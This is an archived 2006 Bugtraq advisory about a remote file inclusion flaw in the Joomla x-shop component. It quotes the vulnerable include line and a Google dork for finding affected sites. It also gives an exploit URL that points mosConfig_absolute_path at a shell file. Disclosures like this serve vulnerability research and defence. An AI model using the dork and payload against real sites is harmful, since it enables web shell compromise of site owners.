| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: 18 Aug 2006 10:04:39 -0000 From: crackers_child@...ersavascilar.com To: bugtraq@...urityfocus.com Subject: Joomla x-shop <= 1.7 Remote File Include Vulnerability !!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!! -------------------------------------------------------------------------------- Title : Joomla x-shop <= 1.7 Remote File Include Vulnerability -------------------------------------------------------------------------------- #Author: Crackers_Child #cont@ct: crackers_child@...ersavascilar.com -------------------------------------------------------------------------------- Google Dorks : allinurl:"/com_x-shop/" ------------------------- ------------------------------------------------------- Download : http://mamboxchange.com/frs/?group_id=187&release_id=1047 -------------------------------------------------------------------------------- Bug in admin.x-shop.php <? include($mosConfig_absolute_path.'/administrator/components/com_x-shop/languages/'.$mosConfig_lang.'.php'); session_start(); -------------------------------------------------------------------------------- Exploit: http://www.site.com/joomla_path/administrator/components/com_x-shop/admin.x-shop?mosConfig_absolute_path=Shell.txt? -------------------------------------------------------------------------------- greets: All My Friends And SiberSavascilar.Com Members ! -------------------------------------------------------------------------------- --------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------
Powered by blists - more mailing lists